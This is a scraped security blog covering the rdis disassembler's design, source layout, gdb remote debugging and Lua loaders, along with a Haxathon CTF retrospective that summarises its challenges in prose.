Let's start drawing some conclusions**.**  
  
Control-Flow Analysis can be thought of as Data-Flow Analysis for the machine
which interprets the "code"**.** We are determining the different values that
may be present in the machine which interprets our "code"**.** For example,
when we encounter a conditional jump, our machine's value which holds the next
instruction \(think a CPUs internal store of the memory fetched from what the
instruction pointer points to\) can hold a range of values, values that we may
label as code**.**  
  
If this example is a bit too far-fetched for you, consider performing data-
flow analysis on a bytecode VM**.** What's the data**?** It's your "code".  
  
Because code is merely a label attached to data interpreted by some sort of
machine, the only requirements for programming are:

    1. A machine that accepts data and updates some sort of state**.**
    2. A method of providing the machine with data**.**
This is why the Defcon talk, Programming Weird Machines with ELF Metadata, was
interesting**.** We have taken a machine, the linux loading process, supplied
it with specially crafted data, and we have created a program**.**

The concept should not be new to security researchers**.**

**Method**| **Data**| **Machine**  
---|---|---  
ROP| Crafted stack frames| Gadgets  
SQLI| Unsanitized User Input| SQL Engine  
Classic "Buffer Overflow"| Oversized user input| Native CPU  
XSS| Attacker-crafted dhtml/script| Web Browser  
It's no surprise that the majority of defenses/mitigations deal with either
attempting to separate data from code \(parameterized queries\), or
restricting data from being executed by a machine \(W/X memory
protections\)**.** It's also no surprise that attackers continue to find new
machines \(have you HEARD of css injects**\!****?**\), ways to have their data
interpreted regardless \(these XSS cheatsheets are getting ridiculous\), or a
combination of the two \(ROP chain to mprotect\)**.**

##  Control-Flow Analysis is useful****

As reverse-engineers, we need to make sense of data**.** A large part of this
process is the labeling of data as code**.** In binary analysis, we call this
process "disassembling**.** " Linear, or sweep, disassembly is the process of
labeling contiguous blocks of data as code**.** Recursive disassembly is the
process of analyzing disassembled data to discover more data to
disassemble**.** Recursive disassembly is control-flow analysis.  
  
While not correct, the assumption that code will not change greatly simplifies
its analysis and aids in our ability to understand it**.** Therefor, I'm going
to make the statement that Control-Flow Analysis is "stateless"**.** The
analysis is conducted irrespective of state. This may seem a bit off, as code
is data and does have state, but if we are going to visualize code we need to
make some assumptions**.**  
  
Data-Flow Analysis is "state-ful" in that it cannot be done irregardless of
state**.** In fact it's the study of how state changes over time**.**

##  Final thoughts****

     * Control-Flow Analysis should be conducted at least each time the state involved in its original analysis changes**.**
     * Reflecting the results of Data-Flow Analysis back into Control-Flow Analysis is incorrect, as it requires using information from the "future" to make decisions about the "present"**.** It's an unhealthy mixing of stateless and state-ful information**.**
     * We should be searching for new machines that can accept data and update state**.**
I'll buy a beer for the first person who writes a compiler to network packets,
using a remote machine's TCP/IP stack as a machine to run a program**.**

Posted 3 weeks ago by rednovae

0

###  Add a comment****

  5. As the interested few wishing to hack on rdis begin to trickle in, I believe a basic orientation to the source is due**.** This walkthrough is not comprehensive, but should be enough to get you on the right track**.**  
  
I will continue to update this post as more questions about rdis internals
arise**.**  
  
**Last Update: 20 JAN 2013**

###  Contributing to rdis****

The rdis source can be found here: https://github.com/endeav0r/rdis  
  
I ask that you please fork the repo on github and submit a pull request**.**
Don't email me patches unless they are trivially minor**.** Pull requests are
always preferred.  
  
Development discussion for \#rdis takes place in irc.freenode.net\#rdis **.**
If you plan on contributing, please join us in \#rdis and let me know**.**  
  
I don't have an issue with large pull requests, but it will be helpful if you
let me know what's coming and what's being changed**.**

###  The Object/Container Model****

Almost everything in rdis is an object**.** We define an object as a struct
which begins to a pointer to a vtable of type struct \_object**.** The use of
rdis's object model may seem cumbersome and/or annoying at first, but once you
get used to it you will find \(hopefully\) you're writing safer code
faster**.** Here's struct \_object:  
  
struct \_object \{  
void \(\* delete\) \(void \*\);  
void \* \(\* copy\) \(void \*\);  
int \(\* cmp\) \(void \*, void \*\);  
void \(\* merge\) \(void \*, void \*\);  
json\_t \* \(\* serialize\) \(void \*\);  
\};  
  
For example, let's take a look at the \_queue struct:

struct \_queue \{

const struct \_object \* object;

size\_t size;

struct \_queue\_it \* front;

struct \_queue\_it \* back;

The vtable for queue looks as follows:  
  
static const struct \_object queue\_object = \{  
\(void \(\*\) \(void \*\)\) queue\_delete,  
\(void \* \(\*\) \(void \*\)\) queue\_copy,  
NULL,  
NULL,  
NULL  
\};  
  
Every object should include, at a minimum, both delete and copy**.** This is
because objects copy objects. They do this by calling object\_copy, which can
be found in object**.** h  
  
\#define object\_copy\(XYX\) \  
\(\(struct \_object\_header \*\) XYX\)->object->copy\(XYX\)  
  
The general-purpose containers available in rdis are:

     * \_graph - A directed graph \(delete/copy/cmp/merge/serialize\) ; merge only required of graph\_merge\(\) is called
     * \_list - A doubly-linked list \(delete/copy/serialize\)
     * \_map - A mapping of uint64\_t to objects \(delete/copy/serialize\)
     * \_queue - A simple queue \(delete/copy\)
     * \_tree - A self-balancing tree \(delete/copy/serialize\)
list, graph, map and tree all have iterators**.** Lists can be modified with
their iterators by calling list\_remove\(\)**.** Graphs, maps and tree can NOT
be modified during iteration**.** Add the objects you want to delete to a
queue and delete them post iteration**.** The \_index object is also good for
this purpose.  
  
The objects used internally by containers are to be modified only by their
respective container calls**.** I will not accept code that does otherwise. I
have attempted to break this rule several times myself, specifically with
graph edges**.** It has always ended in disaster.  
  
As stated above, if you pass an object to another object, and the object needs
to keep that data, it will call object\_copy\(\)**.** If you fetch data from
an object, it returns a pointer to that object, NOT a copy**.**  
  
The other objects available are:

     * \_buffer - A simple, dumb buffer of memory**.**
     * \_function - Self-explanatory.
     * \_index - Wraps uint64\_t in an object so it can be used in containers**.**
     * \_instruction - Self-explanatory.
     * \_label - Contains an address, string and label type \(IE: LABEL\_FUNCTION\)
     * \_rdstring - An object containing a string**.** Use of char \* strings is preferred.
     * \_reference - Information about a data reference from an instruction**.**
There are a few special combination of data structures used in rdis:

     * Loader Graph - A graph of lists of instructions**.**
     * Function Map - A map of addresses to functions**.**
     * Label Map - A map of addresses to labels**.**
     * Memory Map - A map of buffers.
Code that works on these special combinations of data structures does NOT
belong in the respective container classes**.** The code can be stored either
where needed, or in util**.** c**.**

###  The loading process****

Loaders are a special type of object with additional methods**.** The loader
object vtable layout can be found in loader/loader**.** h . The steps to load
a file are as follows:

    1. Call loader\_create\(const char \* filename\)
    2. loader\_create\(\) will call the create method of implemented loaders**.** Loaders return a pointer to a valid loader object if they match the executable, or NULL otherwise**.**
    3. Supposing a valid loader was returned by loader\_create\(\), we call loader\_memory\_map\(\) to grab the memory map from the loader**.**
    4. Using this memory map, we call loader\_functions\(\) to receive the function map**.**
    5. We pass the memory map and function map back to the loader in loader\_graph\_functions\(\), which recursively disassembles each function**.**
    6. Finally, we pass the memory map and functions to loader\_labels\_functions\(\) to label our functions, and retrieve any other labels in the binary**.**
The loaders are designed to disassemble based of state, not the data in the
executable file**.** This is why we continue to pass the memory map back to
loader functions**.** This is important when we write disassembler lua scripts
for rdis, as state changes while the executable file remains the same**.**

###  Rdis callbacks****

The state of rdis as a whole is contained in the \_rdis\_t object**.**
Different objects can register callbacks to the rdis\_t object, and they are
called when different actions in rdis take place**.** This is how we update
the rdis gui. Generally-speaking, callbacks should not trigger actions that
further modify rdis state**.**

Each callback is identified by a unique uint64\_t identifier**.** The object
that creates the callback should keep this identifier so that it may remove
itself from the callbacks when deleted**.**

###  Lua Scripting****

There are a few things to remember when writing code that allows lua scripts
to interface with rdis objects**.**

     * Lua objects are always copies of rdis\_t objects**.** They never contain pointers to objects stored externally to their independent lua instance**.**
     * The lua VM is recreated everytime rdis loads a new executable is loaded from outside of lua**.** When a lua script loads an executable, the lua state is not recreated**.**
###  Rdis GUI****

The \_gui struct keeps track of everything happening in the rdis gui**.**
Because the gui is not an rdis object, I'm going to refer to it simply as,
"The gui**.** " All windows should be launched by calling their respective
function over the gui, for example gui\_funcwindow\(\)**.**

Rdg stands for Rdis Display Graph, and is an object which turns loader graphs
into cairo surfaces**.** You don't work with rdg directly, just launch rdg
windows with gui\_rdgwindow\(\)

Posted 4 weeks ago by rednovae

0

###  Add a comment****

  6. _I have gone through and made corrections to this article**.** They are italicized and colored blue._  
  
The following are my thoughts while contemplating the construction of an
Intermediate Representation for rdis**.** They thoughts difficult to order,
but I will put forth a best-effort**.**  
  
Rdis is a tool for analyzing a program given a specific state**.** It is most
helpful in the graphing and display of disassembled instructions**.** However,
when we disassemble these instructions, we are making some assumptions, as
instructions are also stateful**.**  
  
This makes sense, but is something I have not fully considered before**.** We
live in a Von Neumann world where our instructions exist in the same
addressable memory as our data**.** Sure, well formed programs are loaded to
have non-executable memory permissions over _data_ , but memory permissions
are modifiable at runtime**.** When we disassemble, we make the assumption
that the instructions, and control-flow observable at a specific program
state, will not deviate at future states**.**  
  
This assumption works fairly well as, in most cases the assumptions hold
true**.** If, however, given a future state, instructions do deviate, we need
to disassemble them to discover how our program has changed**.**  
  
Rdis does this with the function rdis\_update\_memory**.** Each function in
rdis has its bounds defined in a lattice where the greatest lower bound is the
address of the lowest addressable instruction in the function's graph, and the
least upper bound is the address of the greatest addressable instruction plus
the instruction's size in the function's graph**.** When we update a region of
memory, we check to ensure a function does not overlap the updated region**.**
If it does, we have to regraph the function. We only want to update
instructions that change, however, as we may otherwise delete additional
properties a user has added to an instruction \(read comments\)**.** This is
some of the most complicated code in rdis, especially considering rdis's only
internal representation of code is in a directional graph**.**  
  
We now return to our instruction, a stateful variable interpreted by the CPU
\(which has its own state\) to update state, and our use of it in an
Intermediate Representation**.** The purpose of translating an instruction to
an IR is to perform analysis over the IR in order to derive understanding from
future states**.** Specifically, the addition of data-flow analysis to
control-flow of analysis**.**  
  
For those of us familiar with exploitation, we know the purpose of
exploitation is, usually, to alter control flow in a manner not originally
intended by the author**.** This will most likely involve altering control-
flow in a manner not observable without data-flow analysis**.**  
  
This is why we fuzz programs. By introducing data into the equation, we hope
to place the program into an invalid state, and by observing the conditions
which led to this state we hope to modify our data to alter the control flow
in an unintended manner**.** This is also the purpose of symbolic execution
and other forms of abstract analysis, to observe the changes in a program's
state based possible sets of data**.**  
  
This raises interesting questions about the assumptions we make as we analyze
disassembled programs. Let's take a look at the following instructions:  
  
400080: eb 00 jmp 0x400082  
400082: c6 04 25 81 00 40 00 mov BYTE PTR ds:0x400081,0xa  
400089: 0a  
40008a: eb f4 jmp 0x400080  
40008c: b8 3c 00 00 00 mov eax,0x3c  
400091: bf 00 00 00 00 mov edi,0x0  
400096: 0f 05 syscall  
  
The following program is available as a valid x86-64 linux executable here:
http://rainbowsandpwnies.com/~endeavor/files/ins  
  
These first three instructions pose an interesting problem for writing a
useful disassembler**.** Given the state presented, clearly the correct
disassembly of the instruction at 400080 is "jmp 0x400082"**.** This is
because, as stated, instructions have state**.** However, it's evident the
control-flow of this program will be altered once the instruction at 0x400082
has updated state**.**  
  
This doesn't seem like much of _an issue_ until you consider the problem of
applying data-flow analysis to a CFG to enhance a visual representation of how
a program will behave**.** _How should we visualize this program_**?** We
could create a CFG that looks like this:  
  
\(400080, jmp 0x400082\) -> \  
\(400082, mov BYTE \[0x400081\], 0xa\) -> \  
\(400089, jmp 0x400080\) -> \  
\(400080, jmp 0x40008c\) -> \  
\(40008c, mov eax, 0x3c\) ..**.**  
  
And this process would be helpful for a trivial program such as the one
described below**.** However, if we introduce a small loop into the program,
such as  
  
for \(i = 0; i < 0x100; i++\) \{ do\_things\(\); \}  
  
Our graph could become unwieldly, depending on do\_things\(\)**.** Perhaps
this example isn't the best. Imagine, instead, the assumption we make when
interpreting the meaning behind a call in a program loaded in linux without
relro protections**.** We are assuming our entries in the GOT hold addresses
to the entries specified in the ELF's relocations**.** This is a good
assumption, as it is generally valid**.** However, to say a specific entry in
the GOT will hold the address intended by the ELF's relocation entry is not
correct, as the correct answer is _it depends_**.**  
  
I want rdis to exhibit some form of predictability and correctness**.** I
believe the more correct answer here is to display the interpretation of a
program without data-flow analysis, displaying only the state at a specific
point in a program's execution**.** This means deducing control-flow without
applying future data into the equation**.** The alternative would be an
attempt to reflect decisions based on future states of the program back onto
the current state**.** While this will usually lead to valid assumptions, I do
not believe it is correct**.**  
  
I am looking for thoughts and comments on my thought-process, and to what
degree data-flow analysis is useful in a tool such as rdis**.** I put forth
there are numerous tools available for the analysis of how programs will
behave, and rdis should be concerned with what the current state of a program
reflects**.** Rdis should attempt to hold true to this statement as much as
possible**.**

Posted 5 weeks ago by rednovae

0

###  Add a comment****

  7. ##  The Informal Introduction****
I just finished writing \(in asm\) a small x86-64 linux challenge for a CTF
taking place tomorrow**.** Because I am slightly less than talented, my
challenge wasn't functional on the first go**.** It required debugging**.** I
just finished adding debugging support for rdis  via GDB Remote Serial
Protocol \(that means remote gdb debugging\), so I figured I'd give it a spin
and see how it worked**.**  
  
_This post will get you set up with debugging in rdis**.** I'm also sharing
how I used rdis to debug this simple program**.**_

##  Getting Set Up****

First, you need rdis**.** If you have Arch Linux, it's in the aur\! The
package name is rdis**.** If not, it's available on github .  
  
Next, you'll need a copy of my lua scripts for rdis**.** They can be found
here: github.com/endeav0r/rdis-lua  **.** There is a package in the aur, but
as of this posting the aur package is slightly out of date**.**  
  
You'll need two lua packages. The first is lua51-socket, available in the arch
package repos**.** The second is lgi, available here:
https://github.com/pavouk/lgi **.** There is a package for lgi in the arch
package repos, but it's for lua 5**.** 2\. You need to make and install from
the github repo for lua 5**.** 1.  
  
Finally, you'll want to set up your ~/.rdis.lua to load my lua scripts when
rdis starts up**.**  
  
We'll start with an ~/.rdis.lua like this:  
  
local PATH\_TO\_RDIS\_LUA = '/path/to/rdis/rdis-lua'  
  
package.path = package.path .. ';' .. PATH\_TO\_RDIS\_LUA .. '/**?**.lua'  
dofile\(PATH\_TO\_RDIS\_LUA .. '/rdis.lua'\)

##  Launch gdbserver****

gdbserver 127**.** 0.0**.** 1:9090 ./prog

##  Connecting to gdbserver****

If you've configured rdis as mentioned above my lua scripts will load
automatically**.** You can now call my debugging scripts to connect to the the
gdb server, grab the executable, load it into rdis, and spawn a simple
debugging interface for us to use**.**  
  
We do all this with the function: gdb\_gui\(host, port, architecture\)  
  
Currently the only supported architecture is x86-64, which rdis-lua refers to
as amd64**.** For our specific gdbserver instance, we will have:  
  
gdb\_gui\('127**.** 0.0.1', 9090, 'amd64'\)  
  
You can paste this directly into your main rdis window, wait for lua to grab
the state of the program, and the binary should load properly into rdis**.**

Here's what the debug window looks like once it pops up:

It's pretty ugly, but it's also pretty functional**.**

##  Adding a Breakpoint****

Pretty self-explanatory**.** Click "Add Breakpoint", and then type in the
breakpoint address**.** Hit continue to continue to the breakpoint**.**

##  Updating Memory****

Grabbing the process's memory can be a slow process**.** Instead of performing
this action automatically, I have decided to allow the user to decide when to
update rdis' representation of the program's memory**.** Clicking update
memory will grab the state of the program's mapped memory ranges, all of them,
and transfer them to rdis**.**

##  Automating the Process****

Navigating around the lua debugging interface is ok, we can get things
accomplished, but there has to be a better way to get the necessary state
information from the debugger into rdis**.**

And, well, there is. This is all lua, so we can script it all out**.**

In my .rdis.lua, I start with our gdb\_gui\(\) command to connect to the
debugger**.** This line is followed by several other lua calls to rdis to
label functions as I discover what they do:

gdb\_gui\('127**.** 0.0**.** 1', 9090, 'amd64'\)

rdis.set\_function\_label\(uint64\("0x4000a7"\), "one"\)

rdis.set\_function\_label\(uint64\("0x4000d0"\), "two"\)

rdis.set\_function\_label\(uint64\("0x400123"\), "seven"\)

Pretty soon I discover a good address to break at after I load my
shellcode**.** I start calling functions used by the lua debugging code
directly**.**

\-- Add a breakpoint directly to the GUI's gdb instance**.**

GDB\_GUI.gdb:add\_breakpoint\(uint64\("0x4000bf"\)\)

\-- This refreshes the GUI's listing of breakpoints

gdb\_gui\_set\_breakpoints\(\)

\-- This is the same function called when "Continue" is pressed

gdb\_gui\_continue\(\)

\-- Some helpful output

rdis.console\("breakpoint reached"\)

\-- Grabs the entire process's memory from the remote gdb server instance

\-- and updates rdis's internal memory representation of the program**.**

gdb\_gui\_update\_memory\(\)

\-- Creates a user function at 0x400181, where our shellcode is stored

rdis.user\_function\(uint64\("0x400181"\)\)

Now as I modify both my challenge, and my PoC for it, I simply kill the
gdbserver instance, restart it, and restart rdis**.** Each time, rdis
progresses the program to the exact point I'm interested in**.**

When I'm not debugging a specific program, I leave the gdb\_gui\(\) line in my
.rdis.lua **.** If lua can't connect to a gdb server, no harm no foul**.**
However, now when I want to debug an application I just have to fire up
gdbserver**.** It saves those extra 10 seconds of remembering how to connect
to the gdb server**.**

##  So... Improvements Are Needed****

While debugging this program I added new functionality to rdis, fixed bugs in
both rdis and the lua scripts, and found one bug I have yet to fix**.** Some
of the features outlined in this post, such as rdis.user\_function\(uint64\),
are new to rdis as of two hours ago**.** Depending on your requirements, rdis
may not be ready for your debugging needs**.**

Restarting rdis each time we wish to restart the debugger is not the preferred
method of doing things**.** It works for me, but it may not work for you. Some
improvement is needed.

It would be great to allow right-clicking of an instruction to add a
breakpoint**.** However, rdis doesn't have any infrastructure in place
allowing lua to dynamically register callbacks back to..**.** well..**.** lua.

##  What's Next for Rdis****

Consider gdb remote debugging a proof of rdis as a debugging tool**.** After
writing a client for the gdb remote serial protocol, it's clear GDB RSP leaves
something to be desired**.** I started with gdb remote debugging based on
feedback, but the preferred method of debugging will involve a separate
protocol and server**.** @TDKPS  is working on the windows server component
for remote debugging, so expect that as well**.**

ARM support is coming, slowly. I have begun hacking away on an ARM
disassembler, and once I get around to finishing it I will bring ARM support
into rdis**.** I don't do much ARM debugging, but it seems like a natural next
step for additional architecture support**.**

If you have looked at the rdis source, you noticed there's code in there for
an x86 -> Intermediate Language translator**.** This code has not been touched
in a while, and that portion of rdis, while important, is on indefinite
hold**.** The IL may change, and until then no work will be done on that
code**.**

Finally, if you've used rdis, let me know**\!**

Posted 12th January by rednovae

Labels: rdis

0

###  Add a comment****

  8. Haxathon  is a continuous, challenge-based security CTF with a focus on exploitation, reverse-engineering, cryptology and general binary-foo magic**.** Most of the competition took place in the Haxathon Supremacy Virtual Machine, which is a 16-bit big-endian RISC VM**.**  
  
While Haxathon challenge servers will remain operational until 07 DEC 2012, I
have disabled scoring in order to facilitate the posting of write ups**.**

##  Final Scores of Top 10 Players****

1\) acez - 1550  
2\) wont - 1550  
3\) NiklosKoda - 1550  
4\) themadllama - 1350  
5\) FrizN - 1350  
6\) nitin - 1200  
7\) vonr1ch - 1000  
8\) 414D41 - 850  
9\) ufox - 850  
10\) ercool - 850

##  A brief overview of the challenges****

_" Flag File," indicates the goal of the challenge is to open a file named,
"Flag," and read the contents**.**_

**key** \- HSVM - 50 points - This challenge XORed user input with 0x77 and
compared it against 8 bytes**.** If the input matched, the user was given a
message indicating success**.** The bytes required for the success message
comprised the flag for this challenge**.**

**backdoor** \- HSVM - 50 points - This challenge reads in input from the data
and then jumps directly to first given byte**.** This is a, "Flag File,"
challenge.

**backdoor1**.** 5** \- HSVM - 100 points - This challenge requires the user
to enter a name which is compared against a 12 byte string pushed onto the
stack**.** The string is "blackknights"**.** Once this string has been
matched, the server enters a loop where it reads one byte from /dev/urandom,
sends this byte to the user, reads one byte from the user, XORs the byte from
the user and writes it to a buffer starting from 0x8000**.** Once the server
XORs a byte resulting in 0x99, it jumps to the shellcode at 0x8000**.** This
is a, "Flag File," challenge.

**backdoor2** \- HSVM - 75 points - The user inputs shellcode which is XORed
with 0x99 and stored at a buffer starting at 0x8000**.** Once a byte, XORed
with 0x99, is equal to 0x00 or 0x0a the server will jump to the shellcode**.**
This is a, "Flag File," challenge.

**news** \- HSVM - 100 points - strcpy buffer overflow of a stack return
address with, "Details**.** " This is a, "Flag File," challenge.

**sum** \- Crypto - 200 points - Sum presents the attacker with a custom
cryptographic hash with insufficient confusion**.** It can be solved by a SAT
solver in about an hour on a Samsung Series 9 laptop**.** To score, the
attacker must find a message that when hashed results in the 8 byte output of
0000000000000000**.**

**players** \- HSVM - 200 points - Players requires exploitation of a use-
after-free vulnerability**.** The attacker must follow a specific order of
allocations and frees, overwrite data for a freed object, and then call a
method on that object to gain control of the instruction pointer**.** The heap
allocator and object logic was programmed in HSVM assembly, so the task of
figuring out what exactly is happening is a bit daunting itself**.** This is
a, "Flag File," challenge. The CFG for this challenge is _gigantic_ compared
to other haxathon challenges**.**

**image** \- HSVM - 150 points - Image reads in an ASCII art image compressed
with RLE**.** During decompression, the length of decompression for a single
byte during RLE is not checked**.** This allows the attacker to overflow the
stack frame with a one byte sequence \(0xABAB\)**.** This is a, "Flag File,"
challenge**.**

**hidden\_key** \- HSVM - 125 points - This challenge has nothing to do with
hidden keys**.** This challenge is a buffer overflow with a stack layout of
\[ret\]\[stack canary\]\[pointer to buf\]\[buf\]**.** The attacker must
overwrite the pointer to buf and use this pointer to overwrite memory at an
attacker-controlled location**.** Overwriting the stack canary will cause the
program to properly exit**.** This is a, "Flag File," challenge.

**checkout** \- Crypto - 150 points - This challenge consists of an insecure
format for RC4 encrypting information**.** The format of encrypted messages
consists of a 4 byte length, the message, and a 4 byte additive checksum**.**
By flipping bits 32-bits apart from on another, the attacker may or may not
invalidate the checksum**.** The server will return a message indicating the
validity of the checksum**.** The attacker can use this information to
discover the plaintext one bit at a time**.**

**inception** \- HSVM - 150 points - This challenge consists of a VM
programmed in HSVM assembly**.** The attacker must reverse the VM to discover
an input that will cause the program to output a message indicating
success**.**

**mod48** \- HSVM - 200 points - This challenge is a stack frame return
address buffer overflow**.** However, the modulus of each byte against 0x30 is
taken and written to the stack**.** This eliminates a large amount of the HSVM
instruction set, and the attacker must return to a function whose address
bytes are less than 0x30**.** Such a function was available. This challenge
required a return-to-libc approach to exploit**.** This was a, "Flag File,"
challenge.

##  Lessons Learned****

**End your contest immediately following the last challenge**.**** The last
challenge was released 02 NOV 2012**.** However, Haxathon continues until 07
DEC 2012. Originally we didn't know how many challenges would be present in
the complete contest and we wished to leave room for expansion**.** Instead of
planning to expand the contest in time, we should have planned to make the
contest more dense in challenges**.**

**More challenges earlier on**.**** While players unfamiliar with reverse-
engineering spent a good deal of time on the first few challenges, several
players completed these challenges in under an hour**.** When first entering a
contest, reversers don't enjoy waiting**.**

**Expect the horde.** I ended up posting haxathon on r/netsec **.** We had
over 90 registrations in the next 24 hours. While we handled this well,
expectations were closer to 30**.** As of this writing, 290 players have
registered for the Haxathon**.** 60 players have scored**.** A few more than
that have _attempted_ to score, but they still need to try harder**.**

**Send an email when your contest starts**.**** We had several players who
showed up in IRC after the contest started and said, "Oh, I didn't know this
thing had started already**.** " Those are the people we heard from**.** A
reminder email would have been nice.

**Expect to write all the challenges**.**** In addition to writing the website
that hosted haxathon, I also authored the HSVM and all the challenges**.** Be
prepared to write all of the challenges for your contest, and don't count on
receiving challenges from outside \(or inside\) sources**.**

##  Things I believe we did right****

**Log all the bits, lock down the challenges**.**** We log every page a
logged-in user visits, all incorrect submissions, all traffic to the web
server and challenge server, everything**.** Additionally, we have code that
quickly displays this information in a meaningful manner**.** We can quickly
correlate the actions taken by an IP address or user, the times those actions
were taken, and use them to make educated decisions on what people are
doing**.** We had some hiccups, but, _to my knowledge_ , we didn't fall
over**.** Oldgregg was responsible for securing the challenge server, and I
believe he did a good job**.** I watched him work his magic through tmux.
Wow**.**

**Put some simple challenges first, and have someone else quantify,
"Simple**.** "** Originally, news was the first challenge**.** I thought this
challenge was straight-forward. I also wrote the entire contest and VM from
the ground up**.** Having someone else take a look at a couple challenges
allowed me to rework the early challenges in the competition**.** Several
simpler, easier challenges were written and front-loaded**.**

##  And... In Closing..**.**

If you're interested in haxathon, I encourage you to give it a look**.**
Everything is still operational over at haxathon.com **.** If you're
considering hosting your own contest and have some questions on what that
experience is like, feel free to leave a comment or get in touch with me on an
individual basis**.**

Posted 25th November 2012 by rednovae

0

###  Add a comment****

  9. When I began writing rdis, I knew I wanted a visual tool that understood assembled programs in the same manner that I understood assembled programs. Unfortunately, I wasn't able to place my finger on exactly what that understanding was**.** After reading Chris Eagle's Ida Pro Book, or perhaps more accurately jumping through the book in a few hours, and reading What Every Programmer Absolutely, Positively Needs To Know About Encodings And Character Sets To Work With Text , I believe I have reached a definition:  
  
"The separation of meaning from its storage medium**.** "  
  
Let us begin with an ordered set of bytes, \{0=0x41, 1=0x42, 2=0x43,
3=0x44\}**.** What is the meaning behind these bytes? Well, it depends**.** It
may be a little-endian representation of the ASCII string "ABCD", it may be
the address 0x41424344, it may be the instructions "inc eax; inc edx; inc ebx;
inc esp;", it may be an ordered set of four garbage bytes, it may be a
combination of the above, or it may be something else entirely**.**  
  
Whatever combination of the above examples we use to extract meaning from the
above ordered set of bytes, they key is we  _extract understanding from, not
apply understanding to_ , this ordered set of bytes**.**  
  
Let us assume we will interpret 0x41424344 as the ASCII string "ABCD"**.**
What we should not do is create a string reference to address 0 and mark that
reference as type string**.** What we should do is create a string with the
value "ABCD"**.** We can add metadata to this string, such as, "This string
was found at address 0**.** "  
  
Data changes during runtime, and our program may replace our bytes 0x41424344
with 0x44434241**.** This does NOT change the meaning or value we extracted
from our _original value_ , 0x41424344**.** What we have is a _new value_ ,
and we should extract that value and apply meaning to it appropriately**.**
The immediate difference between these two values is state**.** The way our
program interprets this new value should also affect the way we understand
this new value**.**  
  
By approaching disassembly in this fashion, we more closely mirror the
behavior of the machine which interprets our assembly**.** Below is one
immediate benefit of this approach.  
  
When rdis disassembles a program, it makes no assumptions about the bytes
within the program**.** Given a set of entry points, it disassembles one
instruction**.** From that instruction we extract a set of addresses that
control flow may continue to after that byte**.** If we naivele disassembe an
ordered set of bytes, where disassembly of one instruction begins immediately
following the disassembly of a previous instruction, we will not achieve the
original meaning of the program**.** However, if we recursively extract
information from our bytes, we will  _extract_ the correct information**.**  
  
Because rdis extracts, instead of applies, understanding, we automatically
avoid incorrect disassemblies from control flows which defeat naive
disassemblies**.** Rdis understands that given a set of 8 ordered bytes, there
may be instructions of varied length beginning at each of those bytes**.**
Instead of applying understanding to the bytes, rdis extracts understanding
and could, potentially, arrive at eight separate, correct disassemblies while
creating its internal, directed graph representation of the program**.**
Instructions which jump to addresses which are in the middle of what would
normally be a naively disassembled instruction do not affect rdis, as bytes in
rdis do not have meaning attached to them**.** Rdis extracts the correct
meaning from these bytes**.**

Posted 18th November 2012 by rednovae

Labels: rdis

3

###  View comments****

  10. Rdis , The Rainbowsandpwnies Disassembler, is a binary analysis tool under development by rainbowsandpwnies **.** In this post I'm going to work through an example for writing your own rdis loader in lua, allowing you to analyze unique instruction sets and file formats with rdis**.**  
  
While this post is not focused on the lua language, there are some lua quirks
you need to be aware of**.** I will touch on a few of these quirks, but if you
plan on using rdis I recommend you take the time to learn about lua**.**  
  
We will be writing a loader for the HSVM instruction set**.** HSVM stands for
Haxathon  Supremacy Virtual Machine, and was the RISC 16-bit VM used for the
Haxathon reverse-engineering and exploitation challenges..  
  
The rdis lua API is available here **.** At a minimum, familiarize yourself
with the uint64 object**.**  
  
The complete hsvm lua loader is available at the end of this post for
reference**.**  
  
What Rdis expects from a lua loader  
  
The rdis lua loader expects an instantiated lua object with the following
methods:

     * uint64 entry \(\)
     * table functions \(\)
     * table function\_address \(uint64 address\)
     * table ins \(uint64 address\)
     * string label \(uint64 address\)
     * table memory\_map \(\)
**uint64 entry \(\)** returns a uint64 representing the entry point into the
binary**.**

**table functions \(\)** returns a lua table of uint64, where each element in
the table represents what you believe to be a function**.**

**table function\_address \(uint64 address\)** returns a lua table of uint64,
where each element in the table represents what you to believe to be a
function, where the argument address is given to you as a function**.** At a
minimum you should return a table with one value, address**.** When a user
performs a "user function" action, this method will be called**.**

**table ins \(uint64 address\)** returns a table containing information about
the instruction found at address, or nil if no valid address was found**.**
This is the workhorse method of our loader, and we will spend a bit of time on
it**.**

**string label \(uint64 address\)** returns a string representing the
address**.**

**table memory\_map \(\)** returns a table where the key is a uint64 and the
value is a table of integers representing the bytes as they will be laid out
in virtual memory once the executable is loaded, starting from the address
given by each key**.**

When you call rdis.load\(loader\), rdis will first call loader:functions\(\)
and then begin recursively disassembling from each address it receives**.** It
will label each function by calling loader:label\(\)**.**

Don't lose hope just yet. We're going to walk through it**.**

Laying out our lua loader object

We're going to start with some boilerplate lua object code for our HSVM
loader**.**

[code]     Hsvm = {}

    Hsvm.__index = Hsvm
    
    function Hsvm.new (filename)
        local hsvm = {}
        setmetatable(hsvm, Hsvm)
        return hsvm
    end
    
    function Hsvm.ins              (hsvm, address) return nil end
    function Hsvm.function_address (hsvm, address) return nil end
    function Hsvm.functions        (hsvm)          return nil end
    function Hsvm.label            (hsvm, address) return nil end
    function Hsvm.memory_map       (hsvm)          return nil end
    function Hsvm.entry            (hsvm)          return nil end
    
    return Hsvm
    
[/code]

If you are unfamiliar with lua, this boilerplate code will get your loader set
up correctly**.**

Hsvm Constants

The format of the HSVM instruction set is fairly basic**.** Each instruction
is four bytes. The first byte of each instruction holds an opcode**.** The
meaning of the remaining three bytes is determined by the opcode**.** We will
start by filling out several constants:

[code]     Hsvm.REG_0       = 0x00

    Hsvm.REG_1       = 0x01
    ..**.**
    Hsvm.REG_SP      = 0x09
    Hsvm.REG_IP      = 0x07
    Hsvm**.** OP_ADD      = 0x10
    Hsvm**.** OP_ADDLVAL  = 0x11
    ...
    Hsvm.OP_SYSCALL  = 0x61
    Hsvm.OP_NOP      = 0x90
    
[/code]

Hsvm.new \(filename\)

Inside the Hsvm.new \(filename\) function we create our object, hsvm**.** We
will want to open the file specified by filename, read its contents, and store
it internally in the object**.**

To open a file in lua we call io.open\(\)

[code]     function Hsvm.new (filename)

        local hsvm = {}
        setmetatable(hsvm, Hsvm)
    
        local fh  = io.open(filename, "r")
        if fh == nil then
            rdis.console("failed to open file: " .. filename)
            return nil
        end
[/code]

fh now has a method read\(\)**.** We pass the string "\*a" to read\(\), which
means, "Read the entire file**.** " read\(\) will return a lua string, and we
will turn this string into a table where each element of the table holds the
integer value of its byte in the file**.**

[code]         local raw = fh:read("*a")

        fh:close()
    
        hsvm.bytes = {}
        for i=1, #raw do
            hsvm.bytes[i] = string.byte(raw, i)
        end
[/code]

